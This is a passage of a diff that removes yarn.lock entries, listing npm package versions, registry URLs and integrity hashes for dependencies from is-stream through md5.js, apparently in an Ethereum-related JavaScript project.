-is-stream@^1.0.0, is-stream@^1.0.1:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/is-stream/-/is-stream-1.1.0.tgz#12d4a3dd4e68e0b79ceb8dbc84173ae80d91ca44"
-  integrity sha1-EtSj3U5o4Lec6428hBc66A2RykQ=
-
-is-string@^1.0.5:
-  version "1.0.6"
-  resolved "https://registry.yarnpkg.com/is-string/-/is-string-1.0.6.tgz#3fe5d5992fb0d93404f32584d4b0179a71b54a5f"
-  integrity sha512-2gdzbKUuqtQ3lYNrUTQYoClPhm7oQu4UdpSZMp1/DGgkHBT8E2Z1l0yMdb6D4zNAxwDiMv8MdulKROJGNl0Q0w==
-
-is-symbol@^1.0.2, is-symbol@^1.0.3:
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/is-symbol/-/is-symbol-1.0.4.tgz#a6dac93b635b063ca6872236de88910a57af139c"
-  integrity sha512-C/CPBqKWnvdcxqIARxyOh4v1UUEOCHpgDa0WYgpKDFMszcrPcffg5uhwSgPCLD2WWxmq6isisz87tzT01tuGhg==
-  dependencies:
-    has-symbols "^1.0.2"
-
-is-typed-array@^1.1.3:
-  version "1.1.5"
-  resolved "https://registry.yarnpkg.com/is-typed-array/-/is-typed-array-1.1.5.tgz#f32e6e096455e329eb7b423862456aa213f0eb4e"
-  integrity sha512-S+GRDgJlR3PyEbsX/Fobd9cqpZBuvUS+8asRqYDMLCb2qMzt1oz5m5oxQCxOgUDxiWsOVNi4yaF+/uvdlHlYug==
-  dependencies:
-    available-typed-arrays "^1.0.2"
-    call-bind "^1.0.2"
-    es-abstract "^1.18.0-next.2"
-    foreach "^2.0.5"
-    has-symbols "^1.0.1"
-
-is-typedarray@^1.0.0, is-typedarray@~1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/is-typedarray/-/is-typedarray-1.0.0.tgz#e479c80858df0c1b11ddda6940f96011fcda4a9a"
-  integrity sha1-5HnICFjfDBsR3dppQPlgEfzaSpo=
-
-is-url@^1.2.4:
-  version "1.2.4"
-  resolved "https://registry.yarnpkg.com/is-url/-/is-url-1.2.4.tgz#04a4df46d28c4cff3d73d01ff06abeb318a1aa52"
-  integrity sha512-ITvGim8FhRiYe4IQ5uHSkj7pVaPDrCTkNd3yq3cV7iZAcJdHTUMPMEHcqSOy9xZ9qFenQCvi+2wjH9a1nXqHww==
-
-is-utf8@^0.2.0:
-  version "0.2.1"
-  resolved "https://registry.yarnpkg.com/is-utf8/-/is-utf8-0.2.1.tgz#4b0da1442104d1b336340e80797e865cf39f7d72"
-  integrity sha1-Sw2hRCEE0bM2NA6AeX6GXPOffXI=
-
-is-windows@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/is-windows/-/is-windows-1.0.2.tgz#d1850eb9791ecd18e6182ce12a30f396634bb19d"
-  integrity sha512-eXK1UInq2bPmjyX6e3VHIzMLobc4J94i4AWn+Hpq3OU5KkrRC96OAcR3PRJ/pGu6m8TRnBHP9dkXQVsT/COVIA==
-
-is-wsl@^2.1.1:
-  version "2.2.0"
-  resolved "https://registry.yarnpkg.com/is-wsl/-/is-wsl-2.2.0.tgz#74a4c76e77ca9fd3f932f290c17ea326cd157271"
-  integrity sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww==
-  dependencies:
-    is-docker "^2.0.0"
-
-isarray@0.0.1:
-  version "0.0.1"
-  resolved "https://registry.yarnpkg.com/isarray/-/isarray-0.0.1.tgz#8a18acfca9a8f4177e09abfc6038939b05d1eedf"
-  integrity sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=
-
-isarray@1.0.0, isarray@~1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/isarray/-/isarray-1.0.0.tgz#bb935d48582cba168c06834957a54a3e07124f11"
-  integrity sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=
-
-isexe@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/isexe/-/isexe-2.0.0.tgz#e8fbf374dc556ff8947a10dcb0572d633f2cfa10"
-  integrity sha1-6PvzdNxVb/iUehDcsFctYz8s+hA=
-
-isobject@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/isobject/-/isobject-2.1.0.tgz#f065561096a3f1da2ef46272f815c840d87e0c89"
-  integrity sha1-8GVWEJaj8dou9GJy+BXIQNh+DIk=
-  dependencies:
-    isarray "1.0.0"
-
-isobject@^3.0.0, isobject@^3.0.1:
-  version "3.0.1"
-  resolved "https://registry.yarnpkg.com/isobject/-/isobject-3.0.1.tgz#4e431e92b11a9731636aa1f9c8d1ccbcfdab78df"
-  integrity sha1-TkMekrEalzFjaqH5yNHMvP2reN8=
-
-isstream@~0.1.2:
-  version "0.1.2"
-  resolved "https://registry.yarnpkg.com/isstream/-/isstream-0.1.2.tgz#47e63f7af55afa6f92e1500e690eb8b8529c099a"
-  integrity sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo=
-
-isurl@^1.0.0-alpha5:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/isurl/-/isurl-1.0.0.tgz#b27f4f49f3cdaa3ea44a0a5b7f3462e6edc39d67"
-  integrity sha512-1P/yWsxPlDtn7QeRD+ULKQPaIaN6yF368GZ2vDfv0AL0NwpStafjWCDDdn0k8wgFMWpVAqG7oJhxHnlud42i9w==
-  dependencies:
-    has-to-string-tag-x "^1.2.0"
-    is-object "^1.0.1"
-
-js-sha3@0.5.7, js-sha3@^0.5.7:
-  version "0.5.7"
-  resolved "https://registry.yarnpkg.com/js-sha3/-/js-sha3-0.5.7.tgz#0d4ffd8002d5333aabaf4a23eed2f6374c9f28e7"
-  integrity sha1-DU/9gALVMzqrr0oj7tL2N0yfKOc=
-
-js-sha3@0.8.0, js-sha3@^0.8.0:
-  version "0.8.0"
-  resolved "https://registry.yarnpkg.com/js-sha3/-/js-sha3-0.8.0.tgz#b9b7a5da73afad7dedd0f8c463954cbde6818840"
-  integrity sha512-gF1cRrHhIzNfToc802P800N8PpXS+evLLXfsVpowqmAFR9uwbi89WvXg2QspOmXL8QL86J4T1EpFu+yUkwJY3Q==
-
-"js-tokens@^3.0.0 || ^4.0.0":
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/js-tokens/-/js-tokens-4.0.0.tgz#19203fb59991df98e3a287050d4647cdeaf32499"
-  integrity sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==
-
-js-tokens@^3.0.2:
-  version "3.0.2"
-  resolved "https://registry.yarnpkg.com/js-tokens/-/js-tokens-3.0.2.tgz#9866df395102130e38f7f996bceb65443209c25b"
-  integrity sha1-mGbfOVECEw449/mWvOtlRDIJwls=
-
-js-yaml@4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/js-yaml/-/js-yaml-4.0.0.tgz#f426bc0ff4b4051926cd588c71113183409a121f"
-  integrity sha512-pqon0s+4ScYUvX30wxQi3PogGFAlUyH0awepWvwkj4jD4v+ova3RiYw8bmA6x2rDrEaj8i/oWKoRxpVNW+Re8Q==
-  dependencies:
-    argparse "^2.0.1"
-
-jsbn@~0.1.0:
-  version "0.1.1"
-  resolved "https://registry.yarnpkg.com/jsbn/-/jsbn-0.1.1.tgz#a5e654c2e5a2deb5f201d96cefbca80c0ef2f513"
-  integrity sha1-peZUwuWi3rXyAdls77yoDA7y9RM=
-
-jsesc@^1.3.0:
-  version "1.3.0"
-  resolved "https://registry.yarnpkg.com/jsesc/-/jsesc-1.3.0.tgz#46c3fec8c1892b12b0833db9bc7622176dbab34b"
-  integrity sha1-RsP+yMGJKxKwgz25vHYiF226s0s=
-
-jsesc@~0.5.0:
-  version "0.5.0"
-  resolved "https://registry.yarnpkg.com/jsesc/-/jsesc-0.5.0.tgz#e7dee66e35d6fc16f710fe91d5cf69f70f08911d"
-  integrity sha1-597mbjXW/Bb3EP6R1c9p9w8IkR0=
-
-json-buffer@3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/json-buffer/-/json-buffer-3.0.0.tgz#5b1f397afc75d677bde8bcfc0e47e1f9a3d9a898"
-  integrity sha1-Wx85evx11ne96Lz8Dkfh+aPZqJg=
-
-json-rpc-engine@^3.4.0, json-rpc-engine@^3.6.0:
-  version "3.8.0"
-  resolved "https://registry.yarnpkg.com/json-rpc-engine/-/json-rpc-engine-3.8.0.tgz#9d4ff447241792e1d0a232f6ef927302bb0c62a9"
-  integrity sha512-6QNcvm2gFuuK4TKU1uwfH0Qd/cOSb9c1lls0gbnIhciktIUQJwz6NQNAW4B1KiGPenv7IKu97V222Yo1bNhGuA==
-  dependencies:
-    async "^2.0.1"
-    babel-preset-env "^1.7.0"
-    babelify "^7.3.0"
-    json-rpc-error "^2.0.0"
-    promise-to-callback "^1.0.0"
-    safe-event-emitter "^1.0.1"
-
-json-rpc-error@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/json-rpc-error/-/json-rpc-error-2.0.0.tgz#a7af9c202838b5e905c7250e547f1aff77258a02"
-  integrity sha1-p6+cICg4tekFxyUOVH8a/3cligI=
-  dependencies:
-    inherits "^2.0.1"
-
-json-rpc-random-id@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/json-rpc-random-id/-/json-rpc-random-id-1.0.1.tgz#ba49d96aded1444dbb8da3d203748acbbcdec8c8"
-  integrity sha1-uknZat7RRE27jaPSA3SKy7zeyMg=
-
-json-schema-traverse@^0.4.1:
-  version "0.4.1"
-  resolved "https://registry.yarnpkg.com/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz#69f6a87d9513ab8bb8fe63bdb0979c448e684660"
-  integrity sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==
-
-json-schema@0.2.3:
-  version "0.2.3"
-  resolved "https://registry.yarnpkg.com/json-schema/-/json-schema-0.2.3.tgz#b480c892e59a2f05954ce727bd3f2a4e882f9e13"
-  integrity sha1-tIDIkuWaLwWVTOcnvT8qTogvnhM=
-
-json-stable-stringify@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/json-stable-stringify/-/json-stable-stringify-1.0.1.tgz#9a759d39c5f2ff503fd5300646ed445f88c4f9af"
-  integrity sha1-mnWdOcXy/1A/1TAGRu1EX4jE+a8=
-  dependencies:
-    jsonify "~0.0.0"
-
-json-stringify-safe@~5.0.1:
-  version "5.0.1"
-  resolved "https://registry.yarnpkg.com/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz#1296a2d58fd45f19a0f6ce01d65701e2c735b6eb"
-  integrity sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus=
-
-json5@^0.5.1:
-  version "0.5.1"
-  resolved "https://registry.yarnpkg.com/json5/-/json5-0.5.1.tgz#1eade7acc012034ad84e2396767ead9fa5495821"
-  integrity sha1-Hq3nrMASA0rYTiOWdn6tn6VJWCE=
-
-jsonfile@^2.1.0:
-  version "2.4.0"
-  resolved "https://registry.yarnpkg.com/jsonfile/-/jsonfile-2.4.0.tgz#3736a2b428b87bbda0cc83b53fa3d633a35c2ae8"
-  integrity sha1-NzaitCi4e72gzIO1P6PWM6NcKug=
-  optionalDependencies:
-    graceful-fs "^4.1.6"
-
-jsonfile@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/jsonfile/-/jsonfile-4.0.0.tgz#8771aae0799b64076b76640fca058f9c10e33ecb"
-  integrity sha1-h3Gq4HmbZAdrdmQPygWPnBDjPss=
-  optionalDependencies:
-    graceful-fs "^4.1.6"
-
-jsonify@~0.0.0:
-  version "0.0.0"
-  resolved "https://registry.yarnpkg.com/jsonify/-/jsonify-0.0.0.tgz#2c74b6ee41d93ca51b7b5aaee8f503631d252a73"
-  integrity sha1-LHS27kHZPKUbe1qu6PUDYx0lKnM=
-
-jsprim@^1.2.2:
-  version "1.4.1"
-  resolved "https://registry.yarnpkg.com/jsprim/-/jsprim-1.4.1.tgz#313e66bc1e5cc06e438bc1b7499c2e5c56acb6a2"
-  integrity sha1-MT5mvB5cwG5Di8G3SZwuXFastqI=
-  dependencies:
-    assert-plus "1.0.0"
-    extsprintf "1.3.0"
-    json-schema "0.2.3"
-    verror "1.10.0"
-
-keccak@3.0.1, keccak@^3.0.0:
-  version "3.0.1"
-  resolved "https://registry.yarnpkg.com/keccak/-/keccak-3.0.1.tgz#ae30a0e94dbe43414f741375cff6d64c8bea0bff"
-  integrity sha512-epq90L9jlFWCW7+pQa6JOnKn2Xgl2mtI664seYR6MHskvI9agt7AnDqmAlp9TqU4/caMYbA08Hi5DMZAl5zdkA==
-  dependencies:
-    node-addon-api "^2.0.0"
-    node-gyp-build "^4.2.0"
-
-keyv@^3.0.0:
-  version "3.1.0"
-  resolved "https://registry.yarnpkg.com/keyv/-/keyv-3.1.0.tgz#ecc228486f69991e49e9476485a5be1e8fc5c4d9"
-  integrity sha512-9ykJ/46SN/9KPM/sichzQ7OvXyGDYKGTaDlKMGCAlg2UK8KRy4jb0d8sFc+0Tt0YYnThq8X2RZgCg74RPxgcVA==
-  dependencies:
-    json-buffer "3.0.0"
-
-kind-of@^3.0.2, kind-of@^3.0.3, kind-of@^3.2.0:
-  version "3.2.2"
-  resolved "https://registry.yarnpkg.com/kind-of/-/kind-of-3.2.2.tgz#31ea21a734bab9bbb0f32466d893aea51e4a3c64"
-  integrity sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=
-  dependencies:
-    is-buffer "^1.1.5"
-
-kind-of@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/kind-of/-/kind-of-4.0.0.tgz#20813df3d712928b207378691a45066fae72dd57"
-  integrity sha1-IIE989cSkosgc3hpGkUGb65y3Vc=
-  dependencies:
-    is-buffer "^1.1.5"
-
-kind-of@^5.0.0:
-  version "5.1.0"
-  resolved "https://registry.yarnpkg.com/kind-of/-/kind-of-5.1.0.tgz#729c91e2d857b7a419a1f9aa65685c4c33f5845d"
-  integrity sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==
-
-kind-of@^6.0.0, kind-of@^6.0.2:
-  version "6.0.3"
-  resolved "https://registry.yarnpkg.com/kind-of/-/kind-of-6.0.3.tgz#07c05034a6c349fa06e24fa35aa76db4580ce4dd"
-  integrity sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==
-
-klaw-sync@^6.0.0:
-  version "6.0.0"
-  resolved "https://registry.yarnpkg.com/klaw-sync/-/klaw-sync-6.0.0.tgz#1fd2cfd56ebb6250181114f0a581167099c2b28c"
-  integrity sha512-nIeuVSzdCCs6TDPTqI8w1Yre34sSq7AkZ4B3sfOBbI2CgVSB4Du4aLQijFU2+lhAFCwt9+42Hel6lQNIv6AntQ==
-  dependencies:
-    graceful-fs "^4.1.11"
-
-klaw@^1.0.0:
-  version "1.3.1"
-  resolved "https://registry.yarnpkg.com/klaw/-/klaw-1.3.1.tgz#4088433b46b3b1ba259d78785d8e96f73ba02439"
-  integrity sha1-QIhDO0azsbolnXh4XY6W9zugJDk=
-  optionalDependencies:
-    graceful-fs "^4.1.9"
-
-lcid@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/lcid/-/lcid-1.0.0.tgz#308accafa0bc483a3867b4b6f2b9506251d1b835"
-  integrity sha1-MIrMr6C8SDo4Z7S28rlQYlHRuDU=
-  dependencies:
-    invert-kv "^1.0.0"
-
-level-codec@^9.0.0:
-  version "9.0.2"
-  resolved "https://registry.yarnpkg.com/level-codec/-/level-codec-9.0.2.tgz#fd60df8c64786a80d44e63423096ffead63d8cbc"
-  integrity sha512-UyIwNb1lJBChJnGfjmO0OR+ezh2iVu1Kas3nvBS/BzGnx79dv6g7unpKIDNPMhfdTEGoc7mC8uAu51XEtX+FHQ==
-  dependencies:
-    buffer "^5.6.0"
-
-level-codec@~7.0.0:
-  version "7.0.1"
-  resolved "https://registry.yarnpkg.com/level-codec/-/level-codec-7.0.1.tgz#341f22f907ce0f16763f24bddd681e395a0fb8a7"
-  integrity sha512-Ua/R9B9r3RasXdRmOtd+t9TCOEIIlts+TN/7XTT2unhDaL6sJn83S3rUyljbr6lVtw49N3/yA0HHjpV6Kzb2aQ==
-
-level-errors@^1.0.3:
-  version "1.1.2"
-  resolved "https://registry.yarnpkg.com/level-errors/-/level-errors-1.1.2.tgz#4399c2f3d3ab87d0625f7e3676e2d807deff404d"
-  integrity sha512-Sw/IJwWbPKF5Ai4Wz60B52yj0zYeqzObLh8k1Tk88jVmD51cJSKWSYpRyhVIvFzZdvsPqlH5wfhp/yxdsaQH4w==
-  dependencies:
-    errno "~0.1.1"
-
-level-errors@^2.0.0, level-errors@~2.0.0:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/level-errors/-/level-errors-2.0.1.tgz#2132a677bf4e679ce029f517c2f17432800c05c8"
-  integrity sha512-UVprBJXite4gPS+3VznfgDSU8PTRuVX0NXwoWW50KLxd2yw4Y1t2JUR5In1itQnudZqRMT9DlAM3Q//9NCjCFw==
-  dependencies:
-    errno "~0.1.1"
-
-level-errors@~1.0.3:
-  version "1.0.5"
-  resolved "https://registry.yarnpkg.com/level-errors/-/level-errors-1.0.5.tgz#83dbfb12f0b8a2516bdc9a31c4876038e227b859"
-  integrity sha512-/cLUpQduF6bNrWuAC4pwtUKA5t669pCsCi2XbmojG2tFeOr9j6ShtdDCtFFQO1DRt+EVZhx9gPzP9G2bUaG4ig==
-  dependencies:
-    errno "~0.1.1"
-
-level-iterator-stream@^2.0.3:
-  version "2.0.3"
-  resolved "https://registry.yarnpkg.com/level-iterator-stream/-/level-iterator-stream-2.0.3.tgz#ccfff7c046dcf47955ae9a86f46dfa06a31688b4"
-  integrity sha512-I6Heg70nfF+e5Y3/qfthJFexhRw/Gi3bIymCoXAlijZdAcLaPuWSJs3KXyTYf23ID6g0o2QF62Yh+grOXY3Rig==
-  dependencies:
-    inherits "^2.0.1"
-    readable-stream "^2.0.5"
-    xtend "^4.0.0"
-
-level-iterator-stream@~1.3.0:
-  version "1.3.1"
-  resolved "https://registry.yarnpkg.com/level-iterator-stream/-/level-iterator-stream-1.3.1.tgz#e43b78b1a8143e6fa97a4f485eb8ea530352f2ed"
-  integrity sha1-5Dt4sagUPm+pek9IXrjqUwNS8u0=
-  dependencies:
-    inherits "^2.0.1"
-    level-errors "^1.0.3"
-    readable-stream "^1.0.33"
-    xtend "^4.0.0"
-
-level-iterator-stream@~3.0.0:
-  version "3.0.1"
-  resolved "https://registry.yarnpkg.com/level-iterator-stream/-/level-iterator-stream-3.0.1.tgz#2c98a4f8820d87cdacab3132506815419077c730"
-  integrity sha512-nEIQvxEED9yRThxvOrq8Aqziy4EGzrxSZK+QzEFAVuJvQ8glfyZ96GB6BoI4sBbLfjMXm2w4vu3Tkcm9obcY0g==
-  dependencies:
-    inherits "^2.0.1"
-    readable-stream "^2.3.6"
-    xtend "^4.0.0"
-
-level-mem@^3.0.1:
-  version "3.0.1"
-  resolved "https://registry.yarnpkg.com/level-mem/-/level-mem-3.0.1.tgz#7ce8cf256eac40f716eb6489654726247f5a89e5"
-  integrity sha512-LbtfK9+3Ug1UmvvhR2DqLqXiPW1OJ5jEh0a3m9ZgAipiwpSxGj/qaVVy54RG5vAQN1nCuXqjvprCuKSCxcJHBg==
-  dependencies:
-    level-packager "~4.0.0"
-    memdown "~3.0.0"
-
-level-packager@~4.0.0:
-  version "4.0.1"
-  resolved "https://registry.yarnpkg.com/level-packager/-/level-packager-4.0.1.tgz#7e7d3016af005be0869bc5fa8de93d2a7f56ffe6"
-  integrity sha512-svCRKfYLn9/4CoFfi+d8krOtrp6RoX8+xm0Na5cgXMqSyRru0AnDYdLl+YI8u1FyS6gGZ94ILLZDE5dh2but3Q==
-  dependencies:
-    encoding-down "~5.0.0"
-    levelup "^3.0.0"
-
-level-post@^1.0.7:
-  version "1.0.7"
-  resolved "https://registry.yarnpkg.com/level-post/-/level-post-1.0.7.tgz#19ccca9441a7cc527879a0635000f06d5e8f27d0"
-  integrity sha512-PWYqG4Q00asOrLhX7BejSajByB4EmG2GaKHfj3h5UmmZ2duciXLPGYWIjBzLECFWUGOZWlm5B20h/n3Gs3HKew==
-  dependencies:
-    ltgt "^2.1.2"
-
-level-sublevel@6.6.4:
-  version "6.6.4"
-  resolved "https://registry.yarnpkg.com/level-sublevel/-/level-sublevel-6.6.4.tgz#f7844ae893919cd9d69ae19d7159499afd5352ba"
-  integrity sha512-pcCrTUOiO48+Kp6F1+UAzF/OtWqLcQVTVF39HLdZ3RO8XBoXt+XVPKZO1vVr1aUoxHZA9OtD2e1v7G+3S5KFDA==
-  dependencies:
-    bytewise "~1.1.0"
-    level-codec "^9.0.0"
-    level-errors "^2.0.0"
-    level-iterator-stream "^2.0.3"
-    ltgt "~2.1.1"
-    pull-defer "^0.2.2"
-    pull-level "^2.0.3"
-    pull-stream "^3.6.8"
-    typewiselite "~1.0.0"
-    xtend "~4.0.0"
-
-level-ws@0.0.0:
-  version "0.0.0"
-  resolved "https://registry.yarnpkg.com/level-ws/-/level-ws-0.0.0.tgz#372e512177924a00424b0b43aef2bb42496d228b"
-  integrity sha1-Ny5RIXeSSgBCSwtDrvK7QkltIos=
-  dependencies:
-    readable-stream "~1.0.15"
-    xtend "~2.1.1"
-
-level-ws@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/level-ws/-/level-ws-1.0.0.tgz#19a22d2d4ac57b18cc7c6ecc4bd23d899d8f603b"
-  integrity sha512-RXEfCmkd6WWFlArh3X8ONvQPm8jNpfA0s/36M4QzLqrLEIt1iJE9WBHLZ5vZJK6haMjJPJGJCQWfjMNnRcq/9Q==
-  dependencies:
-    inherits "^2.0.3"
-    readable-stream "^2.2.8"
-    xtend "^4.0.1"
-
-levelup@3.1.1, levelup@^3.0.0:
-  version "3.1.1"
-  resolved "https://registry.yarnpkg.com/levelup/-/levelup-3.1.1.tgz#c2c0b3be2b4dc316647c53b42e2f559e232d2189"
-  integrity sha512-9N10xRkUU4dShSRRFTBdNaBxofz+PGaIZO962ckboJZiNmLuhVT6FZ6ZKAsICKfUBO76ySaYU6fJWX/jnj3Lcg==
-  dependencies:
-    deferred-leveldown "~4.0.0"
-    level-errors "~2.0.0"
-    level-iterator-stream "~3.0.0"
-    xtend "~4.0.0"
-
-levelup@^1.2.1:
-  version "1.3.9"
-  resolved "https://registry.yarnpkg.com/levelup/-/levelup-1.3.9.tgz#2dbcae845b2bb2b6bea84df334c475533bbd82ab"
-  integrity sha512-VVGHfKIlmw8w1XqpGOAGwq6sZm2WwWLmlDcULkKWQXEA5EopA8OBNJ2Ck2v6bdk8HeEZSbCSEgzXadyQFm76sQ==
-  dependencies:
-    deferred-leveldown "~1.2.1"
-    level-codec "~7.0.0"
-    level-errors "~1.0.3"
-    level-iterator-stream "~1.3.0"
-    prr "~1.0.1"
-    semver "~5.4.1"
-    xtend "~4.0.0"
-
-load-json-file@^1.0.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/load-json-file/-/load-json-file-1.1.0.tgz#956905708d58b4bab4c2261b04f59f31c99374c0"
-  integrity sha1-lWkFcI1YtLq0wiYbBPWfMcmTdMA=
-  dependencies:
-    graceful-fs "^4.1.2"
-    parse-json "^2.2.0"
-    pify "^2.0.0"
-    pinkie-promise "^2.0.0"
-    strip-bom "^2.0.0"
-
-locate-path@^6.0.0:
-  version "6.0.0"
-  resolved "https://registry.yarnpkg.com/locate-path/-/locate-path-6.0.0.tgz#55321eb309febbc59c4801d931a72452a681d286"
-  integrity sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==
-  dependencies:
-    p-locate "^5.0.0"
-
-lodash.assign@^4.0.3, lodash.assign@^4.0.6:
-  version "4.2.0"
-  resolved "https://registry.yarnpkg.com/lodash.assign/-/lodash.assign-4.2.0.tgz#0d99f3ccd7a6d261d19bdaeb9245005d285808e7"
-  integrity sha1-DZnzzNem0mHRm9rrkkUAXShYCOc=
-
-lodash@4.17.20:
-  version "4.17.20"
-  resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.20.tgz#b44a9b6297bcb698f1c51a3545a2b3b368d59c52"
-  integrity sha512-PlhdFcillOINfeV7Ni6oF1TAEayyZBoZ8bcshTHqOYJYlrqzRK5hagpagky5o4HfCzzd1TRkXPMFq6cKk9rGmA==
-
-lodash@^4.17.11, lodash@^4.17.14, lodash@^4.17.15, lodash@^4.17.4:
-  version "4.17.21"
-  resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.21.tgz#679591c564c3bffaae8454cf0b3df370c3d6911c"
-  integrity sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==
-
-log-symbols@4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/log-symbols/-/log-symbols-4.0.0.tgz#69b3cc46d20f448eccdb75ea1fa733d9e821c920"
-  integrity sha512-FN8JBzLx6CzeMrB0tg6pqlGU1wCrXW+ZXGH481kfsBqer0hToTIiHdjH4Mq8xJUbvATujKCvaREGWpGUionraA==
-  dependencies:
-    chalk "^4.0.0"
-
-looper@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/looper/-/looper-2.0.0.tgz#66cd0c774af3d4fedac53794f742db56da8f09ec"
-  integrity sha1-Zs0Md0rz1P7axTeU90LbVtqPCew=
-
-looper@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/looper/-/looper-3.0.0.tgz#2efa54c3b1cbaba9b94aee2e5914b0be57fbb749"
-  integrity sha1-LvpUw7HLq6m5Su4uWRSwvlf7t0k=
-
-loose-envify@^1.0.0:
-  version "1.4.0"
-  resolved "https://registry.yarnpkg.com/loose-envify/-/loose-envify-1.4.0.tgz#71ee51fa7be4caec1a63839f7e682d8132d30caf"
-  integrity sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==
-  dependencies:
-    js-tokens "^3.0.0 || ^4.0.0"
-
-lowercase-keys@^1.0.0, lowercase-keys@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/lowercase-keys/-/lowercase-keys-1.0.1.tgz#6f9e30b47084d971a7c820ff15a6c5167b74c26f"
-  integrity sha512-G2Lj61tXDnVFFOi8VZds+SoQjtQC3dgokKdDG2mTm1tx4m50NUHBOZSBwQQHyy0V12A0JTG4icfZQH+xPyh8VA==
-
-lowercase-keys@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/lowercase-keys/-/lowercase-keys-2.0.0.tgz#2603e78b7b4b0006cbca2fbcc8a3202558ac9479"
-  integrity sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA==
-
-lru-cache@5.1.1, lru-cache@^5.1.1:
-  version "5.1.1"
-  resolved "https://registry.yarnpkg.com/lru-cache/-/lru-cache-5.1.1.tgz#1da27e6710271947695daf6848e847f01d84b920"
-  integrity sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==
-  dependencies:
-    yallist "^3.0.2"
-
-lru-cache@^3.2.0:
-  version "3.2.0"
-  resolved "https://registry.yarnpkg.com/lru-cache/-/lru-cache-3.2.0.tgz#71789b3b7f5399bec8565dda38aa30d2a097efee"
-  integrity sha1-cXibO39Tmb7IVl3aOKow0qCX7+4=
-  dependencies:
-    pseudomap "^1.0.1"
-
-ltgt@^2.1.2, ltgt@~2.2.0:
-  version "2.2.1"
-  resolved "https://registry.yarnpkg.com/ltgt/-/ltgt-2.2.1.tgz#f35ca91c493f7b73da0e07495304f17b31f87ee5"
-  integrity sha1-81ypHEk/e3PaDgdJUwTxezH4fuU=
-
-ltgt@~2.1.1:
-  version "2.1.3"
-  resolved "https://registry.yarnpkg.com/ltgt/-/ltgt-2.1.3.tgz#10851a06d9964b971178441c23c9e52698eece34"
-  integrity sha1-EIUaBtmWS5cReEQcI8nlJpjuzjQ=
-
-map-cache@^0.2.2:
-  version "0.2.2"
-  resolved "https://registry.yarnpkg.com/map-cache/-/map-cache-0.2.2.tgz#c32abd0bd6525d9b051645bb4f26ac5dc98a0dbf"
-  integrity sha1-wyq9C9ZSXZsFFkW7TyasXcmKDb8=
-
-map-visit@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/map-visit/-/map-visit-1.0.0.tgz#ecdca8f13144e660f1b5bd41f12f3479d98dfb8f"
-  integrity sha1-7Nyo8TFE5mDxtb1B8S80edmN+48=
-  dependencies:
-    object-visit "^1.0.0"
-
-md5.js@^1.3.4:
-  version "1.3.5"
-  resolved "https://registry.yarnpkg.com/md5.js/-/md5.js-1.3.5.tgz#b5d07b8e3216e3e27cd728d72f70d1e6a342005f"
